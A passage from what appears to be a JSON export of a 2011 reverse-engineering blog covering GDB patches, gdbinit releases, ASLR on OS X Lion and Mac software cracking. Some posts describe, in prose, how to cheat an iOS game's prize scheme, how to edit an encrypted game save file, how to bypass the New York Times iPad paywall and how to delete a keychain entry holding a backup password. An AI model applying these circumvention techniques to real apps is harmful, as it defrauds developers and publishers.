Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type \u0026#34;show copying\u0026#34; to see the conditions. There is absolutely no warranty for GDB. Type \u0026#34;show warranty\u0026#34; for details. This GDB was configured as \u0026#34;x86_64-apple-darwin\u0026#34;. gdb$ define test \u0026gt;b *0x1000 \u0026gt;commands 1 \u0026gt;set $eax=1 \u0026gt;end gdb$ bpl No breakpoints or watchpoints. gdb$ test Breakpoint 1 at 0x1000 ^CQuit gdb$ bpl Num Type Disp Enb Address What 1 breakpoint keep y 0x00001000 gdb$ ","permalink":"https://reverse.put.as/2011/08/20/another-patch-for-apples-gdb-the-definecommands-problem/","summary":"One known problem with Apple’s fork of open source software is their slowness in fixing vulnerabilities and bugs. GDB fork isn’t immune to this; it was forked around release 6.6 or something like that and lots of stuff isn’t kept in sync with GNU’s GDB version.\nThe short story for this bug is that you can’t have a commands command inside a define command. This creates some problems for useful scripting.","title":"Another patch for Apple’s GDB: the define/commands problem"},{"content":"This isn’t a rocket science post but more like some notes for future reference 😄.\nLion finally introduces full ASLR and GDB has the possibility to disable that feature when analyzing target binaries. A new GDB setting was added, disable-aslr, which allows to enable or disable this feature.\nBy default this feature appears to be enabled (I am just looking at GDB source code) and it’s set by the variable disable_aslr_flag configured at gdb/macosx/macosx-tdep.c source file. But this isn’t the place where the magic happens. That is located in gdb/fork-child.c file (well there’s a second version at macosx/macosx-nat-inferior.c).\nA very rough draft of gdb workflow is something like this:\nFork If we are the child process, drop privileges If we are the child process, use ptrace to “stop” the new process Exec the target Use again ptrace to resume the child Wait for breakpoint events Step 4 in Apple’s GDB version tries to use posix_spawn instead of exec (or any of its variants) to launch the target. This allows to set some special attributes in the new process. One of the new attributes in Lion is _POSIX_SPAWN_DISABLE_ASLR. The name should be explicit about its purpose.\nThe piece of code that sets it in gdb/fork-child.c is:\n(...) if (disable_aslr_flag) ps_flags |= _POSIX_SPAWN_DISABLE_ASLR; retval = posix_spawnattr_setflags(\u0026amp;attr, ps_flags); (...) If posix_spawn fails GDB will then try to execvp the target. At the kernel side, this is dealt with in posix_spawn() at bsd/kern/kern_exec.c:\n(...) /* * Disable ASLR for the spawned process. */ if (px_sa.psa_flags \u0026amp; _POSIX_SPAWN_DISABLE_ASLR) OSBitOrAtomic(P_DISABLE_ASLR, \u0026amp;p-\u0026gt;p_flag); /* * Forcibly disallow execution from data pages for the spawned process * even if it would otherwise be permitted by the architecture default. */ if (px_sa.psa_flags \u0026amp; _POSIX_SPAWN_ALLOW_DATA_EXEC) imgp-\u0026gt;ip_flags |= IMGPF_ALLOW_DATA_EXEC; } /* * Disable ASLR during image activation. This occurs either if the * _POSIX_SPAWN_DISABLE_ASLR attribute was found above or if * P_DISABLE_ASLR was inherited from the parent process. */ if (p-\u0026gt;p_flag \u0026amp; P_DISABLE_ASLR) imgp-\u0026gt;ip_flags |= IMGPF_DISABLE_ASLR; And that’s it! A new flag added, processes spawned with that flag active and bye bye ASLR 😉.\nEnjoy,\nfG!\n","permalink":"https://reverse.put.as/2011/08/11/how-gdb-disables-aslr-in-mac-os-x-lion/","summary":"This isn’t a rocket science post but more like some notes for future reference 😄.\nLion finally introduces full ASLR and GDB has the possibility to disable that feature when analyzing target binaries. A new GDB setting was added, disable-aslr, which allows to enable or disable this feature.\nBy default this feature appears to be enabled (I am just looking at GDB source code) and it’s set by the variable disable_aslr_flag configured at gdb/macosx/macosx-tdep.","title":"How GDB disables ASLR in Mac OS X Lion"},{"content":"Hello,\nIt seems like things are very quiet and I only push gdbinit updates. Well, I have been very busy with very interesting projects, most of which can’t see yet the “light of the day”. Need to find some time to fool around with some new stuff.\nIt seems that VMprotect is coming to OS X and that is exciting news. I hope they finish it soon since I am curious about Mac specific implementation and tricks.\nThis is just a minor release for gdbinit. It fixes a very weird bug that is happening in FreeBSD (many thanks to Evan for reporting it) and adds the (Linux) anti-anti-ptrace command posted here. I finally uploaded it to Github, https://github.com/gdbinit/gdbinit/. Now I need to understand its access control (I think I must add collaborators? I hate to RTFM these days). You can find always the latest version here and there.\nI also have a Twitter account, @osxreverser. It is usually used in a passive way, to keep up-to-date of what’s happening – I still have some difficulties to understand Twitter. My web interests are mostly related to Economics and Management, which are topics a bit stretched for a RE audience. Anyway, I just got up some followers after giving a tip to Charllie Miller (I am spending too much time into GDB source hehehe).\nFrom Blackhat US 2011 there’s a very interesting presentation from iSEC Partners regarding APT (Advanced Persistent Threat) in Macs. Original link here. I am pretty sure that new challenges will arise in this area for Macs (if they don’t exist already!). Macs share in the corporate is increasing and this kind of attackers will of course wanting to extract (valuable) information from those machines (top execs usually have a preference for Apple products).\nHappy holidays and have fun,\nfG!\ngdbinit742.gz\nSHA256(gdbinit742.gz)= 058b4910320a2370bf4ca5dc10da4f7cea105e73b9a28478c6f3e8475dba1bcf\nThe latest version can always be found here.\nUpdate:\nThere’s a bug in Apple’s GDB implementation where you can’t have a commands command inside a define command. Additionally, the catch syscall ptrace doesn’t work in OS X so it will give another error. The solution for now is to comment out the ptraceme function. I have replaced the file with this fix. If you need to use it in Linux just uncomment it out. That’s what you get for copy \u0026amp; paste without proper testing! My fail 😦.\nMeanwhile, time to track GDB change logs to find the fix for above\u0026rsquo;s problem.\n","permalink":"https://reverse.put.as/2011/08/11/gdbinit-v7-4-2-github-and-twitter/","summary":"Hello,\nIt seems like things are very quiet and I only push gdbinit updates. Well, I have been very busy with very interesting projects, most of which can’t see yet the “light of the day”. Need to find some time to fool around with some new stuff.\nIt seems that VMprotect is coming to OS X and that is exciting news. I hope they finish it soon since I am curious about Mac specific implementation and tricks.","title":"gdbinit v7.4.2, Github and Twitter"},{"content":"Hello,\nJust posting a small update to gdbinit. A friend asked for colouring the registers changes as it happens in Ollydbg. I have enabled it by default (modify variable SHOWREGCHANGES if you don’t like it). I have also added a colour patch that Phillipe sent me – it will colour the 1st line of the disassembly (by default it’s off, modify variable SETCOLOUR1STLINE).\nHere it is a screenshot of both options enabled:\nI will create a github project so everyone can contribute if they wish so. This post will be updated with the required info.\nNow, back to my PowerPoint work.\nHave fun,\nfG!\ngdbinit74.gz\nSHA256(gdbinit74.gz)= b8caeea8848690635f756183c72a7004e82365d3b8c48235bd99926f2ab0f895\nUpdate:\nJust added version 7.4.1, which adds a small patch sent by Sofian to search for byte patterns. I forgot to add this one when I received it, more than 1 year ago. Lazy me 😦.\ngdbinit741.gz\nSHA256(gdbinit741.gz)= b981bf99f05380544d403bd26df8aee2023ef49c81605d28c82177bf6684585a\nThe latest version can always be found here.\n","permalink":"https://reverse.put.as/2011/06/20/gdb-init-v7-4/","summary":"Hello,\nJust posting a small update to gdbinit. A friend asked for colouring the registers changes as it happens in Ollydbg. I have enabled it by default (modify variable SHOWREGCHANGES if you don’t like it). I have also added a colour patch that Phillipe sent me – it will colour the 1st line of the disassembly (by default it’s off, modify variable SETCOLOUR1STLINE).\nHere it is a screenshot of both options enabled:","title":"gdbinit v7.4"},{"content":"I have added a new page called Papers that contains papers \u0026amp; presentations related to OS X and iOS (reversing, hacking, exploitation) that I have floating around in my harddisks.\nIt’s a work in progress since I have stuff spreaded everywhere!\nPlease be gentle with any mirroring efforts 😉.\nEnjoy,\nfG!\n","permalink":"https://reverse.put.as/2011/06/01/added-a-new-page-papers-presentations/","summary":"I have added a new page called Papers that contains papers \u0026amp; presentations related to OS X and iOS (reversing, hacking, exploitation) that I have floating around in my harddisks.\nIt’s a work in progress since I have stuff spreaded everywhere!\nPlease be gentle with any mirroring efforts 😉.\nEnjoy,\nfG!","title":"Added a new page, Papers \u0026 Presentations"},{"content":"MacHeist released a great puzzle game called The Heist, promising a prize when you managed to open the safe. Since I am a sucker for puzzle games I bought it and gave a brief check on its code. There is a single url in the program and some references to SHA256, this being a good indicator that they thought a little about security. I started playing the game and finally opened the safe. Before collecting my prize I started tcpdump so I could see what info would be exchanged with MacHeist servers. The first detail is that plain HTTP is used and the password for the MacHeist account is sent clear text. It wouldn’t be a big deal in a normal world (just an unimportant account) if most people didn’t reused passwords or slight variations of them. HTTPS could (and should) have been used! Let’s continue\u0026hellip;\nSo the exchange of data had two interesting fields called random and signature. The size of these fields matches the size of a SHA256 hash so they are probably hashes. Firing up IDA for the second time and searching for strings, the interesting one is found \u0026ldquo;prize=%@\u0026amp;random=%@\u0026amp;signature=%@\u0026amp;levelData=%@\u0026rdquo;. It’s a matter of going backward and finding where those fields are being generated. And here lies the small vulnerability.\nThere is one little piece of information that is easily controlled by us! The device unique identifier and its name are retrieved and then hashed. So to generate different hashes one just needs to change the device name and voila. There are more operations but there’s no interest in analysing them.\nYou will also need to mess with the preferences file, there is a field with a very suggestive name that you will need to reset to be able to collect again the prize. I think the preferences folder is available even in unjailbroken devices (using a iOS filesystem browser). The author’s should have crypted/obfuscated the preferences file so it’s not a straightforward operation.\nAnd that’s it. Just a little vulnerable implementation. Back to work or maybe to finish the game!\nHave fun,\nfG!\nP.S.: The game is well worth the 99 cents!\nUpdate:\nGdbinit for iOS v0.4 that fixes the missing r12 register and has some code cleanups. I completely forgot to release this one. Thanks to Luis for remembering me!\ngdbinit-ios-v0.4.gz\nSHA256(gdbinit-ios-v0.4.gz)= 5a943545ad58650bd55d7762945b239802b72cb85d8bf700ec7b23e291a7e977\n","permalink":"https://reverse.put.as/2011/05/25/a-little-vulnerability-in-the-heist-ios-game-or-how-to-get-more-free-steam-codes-for-eets-game/","summary":"MacHeist released a great puzzle game called The Heist, promising a prize when you managed to open the safe. Since I am a sucker for puzzle games I bought it and gave a brief check on its code. There is a single url in the program and some references to SHA256, this being a good indicator that they thought a little about security. I started playing the game and finally opened the safe.","title":"A little vulnerability in The Heist iOS game or how to get (more) free Steam codes for Eets game!"},{"content":"These last days I must be set on a Apple devices destruction mode. First I lost access to my MacBook while trying to increase its physical security – I configured it to boot from network and I lost all access to boot sequence commands. I think my model has an EFI bug because the security-mode set to full doesn’t ask for a password when I start/restart my laptop, only asks for password if I want to boot from other devices. I had to install a Snow Leopard Server to boot from a netboot image (the process works extremely well) and fix the startup sequence. This of course after quite a few (known) attempts to reset the damn startup sequence – I even removed the NRAM battery, to no effect!\nProceeding in this \u0026ldquo;destruction\u0026rdquo; sequence, I set my iTunes to encrypt backups and I forgot the password. Since losing that backup wasn’t a big issue, I tried just to remove the encrypted option but that doesn’t work since it requires the old password. Some web searching without any relevant results. The best clue was to mess with keychain-2.db file, located at /var/Keychains. I tried to move it but it didn’t work, so I went checking its contents, since it’s a sqlite3 database. The interesting field is located at the genp table and it is something like (your results should differ, at least the first row, which is rowid field):\n153||||||||||||||BackupPassword|BackupAgent|||apple|dk So I deleted this row (delete from genp where rowid = 153) and reconnected my iPad to iTunes. I tried to remove the Encrypt iPad Backup option but it asked again for the password. Fill it with random junk and voila, problem solved. A new, unencrypted, backup will start. After it finishes (or you can stop it), you will be able to set a new password and the encrypted backup will start.\nMost probably you will need to have your iOS device jailbroken to access that file. If you can access that file from a file system browser then you can edit it at your iTunes computer and copy back to the device (I doubt that this is possible with devices not jailbroken).\nThat’s it!\nfG!\nUpdate:\nThis method doesn’t seem to be valid in iOS 5.x. The database has changed and the fields appear to be encrypted. Need to do some research on this.\n","permalink":"https://reverse.put.as/2011/05/09/how-to-remove-ipadiphoneipod-touch-encrypted-backups-password-if-you-forgot-it/","summary":"These last days I must be set on a Apple devices destruction mode. First I lost access to my MacBook while trying to increase its physical security – I configured it to boot from network and I lost all access to boot sequence commands. I think my model has an EFI bug because the security-mode set to full doesn’t ask for a password when I start/restart my laptop, only asks for password if I want to boot from other devices.","title":"How to remove iPad/iPhone/iPod Touch encrypted backups password if you forgot it"},{"content":"I just found a nice interview with CrackZ here. He nails the point that curiosity and intellectual challenge trumps above everything else but also demonstrates the process from not caring about the impact of his acts to something more \u0026ldquo;ethical\u0026rdquo;. His site is still one of the best resources for Windows reversing, especially regarding dongles.\nI have also decided to publish an incomplete version of my trainer for Contract Killer. I see that cheating is widespread so I think there’s not much impact from doing this. If the authors disagree on this feel free to contact me and I will immediately remove it. This code can fully decrypt the save file but encryption is missing the CRC32 part, so you have to reverse a little if you want to make it work.\nNo pain, no gain!\nHave fun,\nfG!\ndecrypt.nonworking.c\nSHA256(decrypt.nonworking.c)= 321b641e6c0f3c73417e97420fe6c10baea39c1c262f414b4e00f626db0d7993\nP.S.:\nUpdated the source code. I had a stupid bug in a fread call where I was reading 4 x int, resulting in overwriting the offset variable when compiled in 32 bit. Stupid typo. This new version works fine when compiled either in 32 or 64 bit.\nP.S.2:\nAdded a new version, which adds error checking and fix a bug when adding the CRC32. If you are trying to show an example at least try to do it right.\n","permalink":"https://reverse.put.as/2011/04/24/an-interview-with-crackz-and-incomplete-source-code-to-contract-killer-trainer/","summary":"I just found a nice interview with CrackZ here. He nails the point that curiosity and intellectual challenge trumps above everything else but also demonstrates the process from not caring about the impact of his acts to something more \u0026ldquo;ethical\u0026rdquo;. His site is still one of the best resources for Windows reversing, especially regarding dongles.\nI have also decided to publish an incomplete version of my trainer for Contract Killer. I see that cheating is widespread so I think there’s not much impact from doing this.","title":"An interview with CrackZ and (incomplete) source code to Contract Killer \"trainer\""},{"content":"This will be a story in development, which is kinda of funny taking in account the target in question. I might be wrong on all this but my instinct is hinting me that I’m not.\nAfter the Contract Killer post I got very much interested in verifying these kind of implementations in other apps. This morning I had a flash into my mind about checking what happened with the NY Times app. The so-called paywall was implemented very recently although very ineffectively judging by quite a few hacks around it and some articles questioning the $40 million investment in this system. If the web implementation has problems, I thought that the apps could also have some, so it’s time to research.\nAs usual I disassembled the binary and started looking around to have a general view of the implementation. GDB seems to have problems disassembling the binary (alignment issues?) because it doesn’t correctly recognize the instructions 😦.\nAnyway, after flagging some interesting methods and execute some initial tests, I remembered to verify how were the articles stored inside the app. Well, they are inside a sqlite3 database and to my surprise, all articles are downloaded in full! I did a database dump and could find all restricted articles, with full text. I need to have at least one more day to verify if more issues will be downloaded in full. I would dare to say YES!\nWhat needs to be done is to bypass the two protections: allow to scroll to other pages inside each section (you are restricted to first page inside each section) and allow to read any article inside the restricted sections (a registration required pop up appears and you can’t read everything or change pages). As a bonus, it should also be fun to remove the ads (and the damn usual spyware analytics).\nOnce again, there is blind trust in the app. Ok I have to concede that the vast majority of iOS users don’t have their devices jailbroken BUT they can still access the filesystem, grab the sqlite3 database, parse it and voila, game over. This is a bad security model! And it’s not that hard in this case to control the data that is sent to the legit subscriber and to non-subscribers.\nBack to the disassembler and debugger. Let’s prove if I’m wrong or not on this.\nfG!\nP.S.: No, it’s not a April’s fool joke.\nUpdate:\nMy theory was correct and I am now able to read and browse all articles. The protection is more or less like most Mac applications, a boolean flag.\nThere are still some issues, for example in some sections I have to change iPad orientation to be able to browse the available articles. Nothing special and that can’t be fixed by wasting some more time messing around with code. I am a bit disappointed with this implementation, it is really weak and not well thought. NY Times doesn’t seem very interested in having a tight paywall. The method to patch has a suggestive name. Nothing else to see here. Next!\nUpdate #2:\nThere is a new version of this App. The old version still works and downloads all the articles. I have tried to patch the new version with the same trick but some articles are deleted (database is empty for those). Without any patch, the articles are still downloaded in full, so most probably there is an additional protection somewhere. Oh well, these guys don’t even make it fun. The paywall seems to be just an excuse for something. Another interesting result. Refresh articles with original binary, then replace with the patched binary and voila, all articles in full, with the bonus that scrolling between all articles works without any further patch!\n","permalink":"https://reverse.put.as/2011/04/01/newsflash-how-to-fuck-up-40-million-usd-the-new-york-times-paywall-and-its-ipad-app/","summary":"This will be a story in development, which is kinda of funny taking in account the target in question. I might be wrong on all this but my instinct is hinting me that I’m not.\nAfter the Contract Killer post I got very much interested in verifying these kind of implementations in other apps. This morning I had a flash into my mind about checking what happened with the NY Times app.","title":"Newsflash: How to fuck up 40 million USD – The New York Times paywall and its iPad app"},{"content":"Let me start this post with a little rant. The iPad is a great product but it’s full of \u0026ldquo;spyware\u0026rdquo; and that sucks big time. One might argue that it’s not spyware, it’s just sending bits of information. Well, for me it’s damn spyware because I’m not authorizing the apps to send any information, much less unique pieces of information that can identify you forever. I can’t even conceive why the enterprise world will adopt the iPad with these kind of problems. If I was the CSO or CIO I would fight against this, and I mean real hard fighting. It sucks, seriously! It sucks so much, that I tried to firewall one of the ad networks and it starts connecting to different Amazon EC instances, more or less like a botnet client (this should be an interesting reversing project). The argument of high-availability for such behavior is weak – there are many HA solutions. If I want to firewall your shitty ad-network, let me, don’t try to fight it.\nAll this spyware crap is one of the reasons why I’m not fully using the iPad for web browsing and other more personal tasks. Apple should allow a Little Snitch like app, so users can have some control about what is going out of their devices. I really like Apple in some points, but this one pisses me off!\nBack to the interesting juice\u0026hellip; I was reading today some articles and I saw the announcement of this game, Contract Killer, based on a freemium business model, in app purchases. I decided to give it a try. After a while you need to buy energy credits so you can proceed in the game. Of course I was already more interested in exploring a way to remove that limitation than playing (I played a few rounds, it gets boring). A reversing brain is a dangerous brain 😉.\nThe credits information is written into a save game file. This can be found at the Documents/default folder, with the name savebh.dat (by the way, the app has the name BountyHunter.app). These are binary and seem packed/crypted (by the way, if you want to have fun with virtual fishes and don’t want to wait, you can use the same trick with iQuarium – edit the plist file with the properties, it’s not encrypted nor packed – BBEdit can handle it fine). Checking around the disassembly (don’t forget you need to decrypt the binary, use Crackulous for example) you find two interesting methods: CBH_XorCrypt::Decypher and CBH_XorCrypt::Cipher (CSaveManager class is also interesting, it calls the encryption method). If you breakpoint on the Cipher method and try to buy some bullets, debugger will break. Prototype is CBH_XorCrypt::Cipher(char *, int), meaning that R0 holds the unencrypted data and R1 its size. Do a x/30s $r0 and you can see the plaintext XML file 😃.\nSo my idea was to modify memory before it’s encrypted. I tried to modify one byte from the money, by computing the offset from R0 where it’s located and modifying its value – for example, from 500 to 900. This doesn’t work for some reason, probably some additional checks. While doing this, I reversed the crypt routine (it’s a simple XOR with a table) so I could write a small decryptor.\nBut before this, I was trying to breakpoint and modify the decryption. It happens when the game is loaded. Since you can’t load it from GDB (it’s not launched into the screen, so you can’t interact with the app), the only solution is to attach GDB. My dirty method is to launch _GDB with the following command:\ngdb –pid=`ps ax | grep Bounty | grep mobile | awk ‘{print $1}’` Open the game in iPad and quickly launch this command, so we can attach GDB as soon as possible, hopefully before decryption. Voila, it works. Now the trick is to let the program decrypt the save game, and then modify memory as in the crypt method. Well, it works. And the new save game will use the new value so it means credits, experience, points, hits, guns, etc etc etc. Now you just need to code a decryptor/encryptor and customize the whole XML file! Beware that the first 4 bytes in save game are a CRC32 and the next byte is the initial XOR key. I will not publish code on this to avoid any legal trouble (although these guys really deserve something like this due to the amount of spyware crap they use).\nThe security model applied here is weak because I have control of the data and I can manipulate it at my own pleasure. One of my ideas about the failure to modify at crypt stage was online storage of information regarding each player. I started sniffing traffic and that’s how I saw the amount of spyware 😉.\nProbably a large majority of freemium games suffer from this kind of problems if there’s no data synchronization between the app and somewhere I don’t control (as it happens in online games, where only registered keys are allowed to play in servers).\nBack to on track to what I was doing before this, damn curiosity!\nHave fun, and fuck spyware (yeah I’m really annoyed)\nfG!\nP.S.:\nI know how metrics are important to business, I’m a firm supporter of that. But how does sending my iPad name, referral cookies and other stuff qualifies as useful and benign metrics? It doesn’t! Developers should record useful metrics such as software versions and other anonymous info that allows them to know their customer base and improve their work but that’s it. Stop there, don’t be fucking greedy and stupid.\nP.S.2:\nJust finished my little cryptor/decryptor. Everything works fine although the game crashes if some fields are abused (trial \u0026amp; error). It’s easier to reverse and rip the program CRC32 implementation – it’s easier and fast. Unfortunately, the game is boring and too repetitive. I’m addicted to Doodle Jump instead.\n","permalink":"https://reverse.put.as/2011/03/29/hacking-a-freemium-ios-app-contract-killer-or-unlimited-play-without-spending-a-dime-or-any-other-currency/","summary":"Let me start this post with a little rant. The iPad is a great product but it’s full of \u0026ldquo;spyware\u0026rdquo; and that sucks big time. One might argue that it’s not spyware, it’s just sending bits of information. Well, for me it’s damn spyware because I’m not authorizing the apps to send any information, much less unique pieces of information that can identify you forever. I can’t even conceive why the enterprise world will adopt the iPad with these kind of problems.","title":"Hacking a freemium iOS app: Contract Killer … or unlimited play without spending a dime (or any other currency)"},{"content":"I decided to mess around with this blog template style sheets and use a better font and change some minor things. I added three new pages at the navigation bar – one with all available gdbinit files in this site, another for my GDB patches and a tag cloud (still have to tag old posts). I will also add a page with all source code published here.\nThis small gdbinit update implements some fixes and a new command rint3 (check the file header for the changelog). This command will restore a previous int3 patch issued with int3 command. For example, you use the int3 command to manually add a software breakpoint to a chosen memory address. When GDB reaches that point and breaks, you need to manually restore the original byte and EIP/RIP (in most cases). The rint3 command will fix that automatically (the int3 command was modified to store the needed information). For now it only supports a single int3 command. I used this trick to analyse the loader for Armadillo since GDB can’t breakpoint on it, but it will (as expected) intercept any int3 patches we manually insert. It’s still a pain having to copy \u0026amp; paste the address where we want to breakpoint but it’s better than manually fixing everything.\nWhile browsing the site stats and referrers I found a nice link to a GDB reference card page here (local copy here).\nHave fun,\nfG!\ngdbinit732.gz\n(SHA256(gdbinit732.gz)= 24d6359472d9c59ad312f7b69a342d07aed35759c13f6e0a2798422ad8d75586)\nThe latest version can always be found here.\n","permalink":"https://reverse.put.as/2011/03/07/small-update-to-gdbinit-and-to-the-website/","summary":"I decided to mess around with this blog template style sheets and use a better font and change some minor things. I added three new pages at the navigation bar – one with all available gdbinit files in this site, another for my GDB patches and a tag cloud (still have to tag old posts). I will also add a page with all source code published here.\nThis small gdbinit update implements some fixes and a new command rint3 (check the file header for the changelog).","title":"Small update to gdbinit and to the website"},{"content":"I was messing around with SoftwarePassport and Amit Singh’s tiny executable to find out why GDB doesn’t breakpoint in those two executables. I thought it was due to incomplete headers, but GDB can’t also breakpoint into nicertiny, which has the segment/section added (otool/otx problems can be fixed by manually adding the missing section – there is enough padding space in the header to do that so SoftwarePassport developers might want to fix that).\nAnyway, I decided to use the int3 trick to see if GDB was able to breakpoint and it worked. But then I wanted to manually fix the code – restore the original byte and point EIP to the correct address – and GDB didn’t allowed me to. You get a \u0026ldquo;Value being assigned to is no longer active.\u0026rdquo; error message. Web searching for the problem, and there is a small patch at https://bugzilla.redhat.com/attachment.cgi?id=313103\u0026amp;action=diff. I tried it and it works! The problem isn’t exclusive with these two binaries but happens if you stop at the beginning of a function and GDB is missing stack frame information. So it’s a very useful fix. I have also included in this patch the fix for LIBICONV problem, as described here. If you don’t want to compile GDB yourself, I’m including the (fat) binary, compiled in Snow Leopard, 32 and 64 bit.\nEnjoy!\nfG!\nall_patches_v0.2.patch.gz\nSHA256(all_patches_v0.2.patch.gz)= e9e113b583f6eeea47025fce612028ca76b63386cc35d6fcda5bb7c9a705814f\ngdb-i386-apple-darwin.gz\nSHA256(gdb-i386-apple-darwin.gz)= 5ed41b093cd451b55bf35b6f103a9879c1e224f4721647c82757f8aee21293fb\n","permalink":"https://reverse.put.as/2011/02/21/update-to-gdb-patches-fix-a-new-bug/","summary":"I was messing around with SoftwarePassport and Amit Singh’s tiny executable to find out why GDB doesn’t breakpoint in those two executables. I thought it was due to incomplete headers, but GDB can’t also breakpoint into nicertiny, which has the segment/section added (otool/otx problems can be fixed by manually adding the missing section – there is enough padding space in the header to do that so SoftwarePassport developers might want to fix that).","title":"Update to GDB patches – fix for a \"new\" bug"},{"content":"A reader sent me the link for a new software protection package called Software Passport (here). This is from The Silicons Realms, the makers of Armadillo for Windows. Since I’m as curious as a cat, I started giving a quick look on it, to see if it has any interesting things related to anti-debugging and anti-disassembly.\nThe good news is that there are some new tricks that I haven’t seen before, for example, GDB can’t trace the initial loader. I haven’t explored this yet so I don’t know how it’s being done. When I approach a target, I prefer to understand the general pattern of things instead going immediatly to understand every single obstacle that appears.\nThe bad news is that the packed/encrypted/whatever binary is easy to dump and recover, allowing to disassemble and poking at the real binary. I was interested in finding the registration routine (I’m playing with the protector itself) but it’s not so straightforward. Anyway, the following screenshot shows that’s easy to dump the binary and modify things. It’s still too early and too much left to explore but I have a feeling that this protection needs more work 😉.\nHave fun,\nfG!\n","permalink":"https://reverse.put.as/2011/02/16/theres-a-new-protection-in-town-software-passport-from-the-developers-of-armadillo/","summary":"A reader sent me the link for a new software protection package called Software Passport (here). This is from The Silicons Realms, the makers of Armadillo for Windows. Since I’m as curious as a cat, I started giving a quick look on it, to see if it has any interesting things related to anti-debugging and anti-disassembly.\nThe good news is that there are some new tricks that I haven’t seen before, for example, GDB can’t trace the initial loader.","title":"There’s a new protection in town, Software Passport, from the developers of Armadillo :-)"},{"content":"I just saw the following at MSJ and the reaction there is simply childish, to not digress much about it. The author of Remote Buddy leaves the post below, asking for them to stop distributing cracks on his software. As a response, tons of links with the crack are published and they start complaining about the price. I really hope that these guys one day get what they deserve, their works pirated or them exploited by their bosses and underpaid. Everyone wants to have tons of shit, for free if possible, but then they forget that money drives the economy. I’m not saying that the price is right or wrong, that’s a market/customer decision. What really pisses me off is the lack of effort for all those idiots downloading the cracks and bashing the developer. At least make an equivalent effort and learn how to do it and take on a \u0026ldquo;fair fight\u0026rdquo;.\nDisclaimer: I cracked Remote Buddy in the past and published some information regarding it. The author asked for removal and I kindly refused because, at that moment, I believed that the published information wasn’t valuable enough.\nUpdate:\nJust to put some things in perspective, let me show a simple math example:\nItem Value Months 12 Monthly Salary $2,500 Annual $30,000 App Price $20 Total Sales 1504 Monthly Sales 125 If selling this program is the only source of income to this developer and we project a $30k annual salary (low salary by US standards for developers), this will require 125 copies sold each month. Let me remind this values are not net, so there are still other costs and tax burden on the developer (you can add Apple’s 30% as a good estimative).\nNow, you could say that 125 monthly or 1500 annual copies is a piece of cake to sell\u0026hellip; Have a read at this article, and observe the low numbers of books sold for each book that author wrote. They are pretty shocking and a good example about how hard is to sell (start a company and try it yourself). Not every app is Angry Birds!\nHello, I’m the author of Remote Buddy and am kindly asking you to stop what you’re doing here. You may not be aware of it, but the development of Remote Buddy has cost and continues to cost _a lot_ of money and I can only keep working on this and other related projects, if Remote Buddy sales stay above a certain level that allows me to pay all bills for the company, for product development and – most importantly – for my family. I know many of you believe that piracy doesn’t do any harm or even helps sales, but I sure know that the bare numbers – at least for Remote Buddy – speak a very different language. Whenever there has been a crack or serial number floating around in the past, sales dropped significantly. It was only when pirated serials had been blocked and cracks went offline that the revenue stream slowly (but luckily!) recovered to a level where Remote Buddy could have a future again. I’ve always been very generous with my work. Users can fully try out Remote Buddy for a full 30 days, they can purchase a license for as little as 19.99 Euro and for the last 4 (four!!) years there’s been nothing but free updates (many of them major redesigns you’ll usually have to pay an upgrade fee for at other software companies, plus free updates to support three major OS X releases as they appeared). When Snow Leopard appeared, I helped out the Plex and many other open source and commercial projects with a free, instant fix for their Apple Remote issues that SL brought along: Candelair. It certainly helped out many of you and some software like Hulu Desktop can’t use an Apple Remote under SL without it to date. I also spent a lot of time developing and documenting the HIDRemote class (which I have no use for personally) and made it available for free to vastly improve the state of Apple Remote support in OS X applications. I continue to work with open source and commercial developers (even competitors!) to help them with providing better Apple Remote integration in their applications. You all benefit of this work whenever you use an Apple Remote – regardless of whether you use it with Remote Buddy or not. I’ve worked very hard to make all of this happen – and I happily did so, because I believe in community and fairness. But if instead of at least a minimum of respect, all I get in return from the community is that they try to find a way to exploit the generous, feature-unlimited demo time, or that they crack my software and are seemingly happy uploading it to a dozen filehosters, which – in end result – directly cuts into the personal income of my family, I really have to wonder why I’m doing all this – and what for. Some of you may not have realized that – as a matter of fact – what you are doing directly affects and hurts real people that live off of this project – and – that what you’re doing is part of the biggest threat for the future of this product that you all obviously seem to like. I’m appealing to nothing else but your sense of honor, community and fairness when I ask you to stop cracking Remote Buddy, to stop spreading copies of cracked versions or instructions on demo timeout circumvention – and to remove any copies from where you’ve already uploaded them to. If you ignore this and just continue, be aware that you are taking away from the table of my family and that you are working on killing an important, unique product for all Mac users that there’ll be no replacement for. I’m hoping for your sense of honor, community and fairness – and that my open words are really all that’s necessary. Thanks. – Felix Schwarz ","permalink":"https://reverse.put.as/2011/02/15/its-not-my-war-but/","summary":"I just saw the following at MSJ and the reaction there is simply childish, to not digress much about it. The author of Remote Buddy leaves the post below, asking for them to stop distributing cracks on his software. As a response, tons of links with the crack are published and they start complaining about the price. I really hope that these guys one day get what they deserve, their works pirated or them exploited by their bosses and underpaid.","title":"It’s not my war but..."},{"content":"I have decided to re-release my beginners tutorial, this time based on a crackme, so it deserves the upgrade to Universe instead of World.\nIt includes patching, serial fishing and a keygen. I have updated some errors that I found in the original tutorial.\nReversing and breaking protections is a great hobby and fantastic knowledge to possess. The problem is that many abuse this and want to profit from it. I really don’t like not sharing knowledge because sharing also allows me to progress, seeking new challenges and learning new things. I really hope that you make good use of this information and do not share your cracks with the world, especially in MSJ that is full of idiots just wanting to rip off others work. Don’t do that please. Enjoy the process, learn, get frustrated, and buy the apps if you really use them in your day to day.\nDon’t make me regret once again releasing knowledge that may ease piracy! Don’t rush to MSJ spreading your cracks. Seriously, don’t spread your cracks, you don’t get any glory from that.\nHave fun,\nfG!\nHere it is: beginners tut II.txt\n","permalink":"https://reverse.put.as/2011/02/12/universes-best-and-legal-mac-os-x-reversing-tutorial-for-newbies-or-maybe-not/","summary":"I have decided to re-release my beginners tutorial, this time based on a crackme, so it deserves the upgrade to Universe instead of World.\nIt includes patching, serial fishing and a keygen. I have updated some errors that I found in the original tutorial.\nReversing and breaking protections is a great hobby and fantastic knowledge to possess. The problem is that many abuse this and want to profit from it. I really don’t like not sharing knowledge because sharing also allows me to progress, seeking new challenges and learning new things.","title":"Universe’s best and legal Mac OS X reversing tutorial for newbies (or maybe not!)"},{"content":"I have fixed some of the missing stuff in gdbinit for iOS. Now the jump conditions are displayed for ARM and Thumb modes and the stepo command is working for ARM and semi-working for Thumb (to be fixed in the next release). Also implemented minor cosmetic changes.\nThe tools to show Mach-O header information and calculate offsets to be patched were also updated to support ARM binaries. Offset.pl is by default interactive (you can choose from the available architectures in the binary, if fat), and 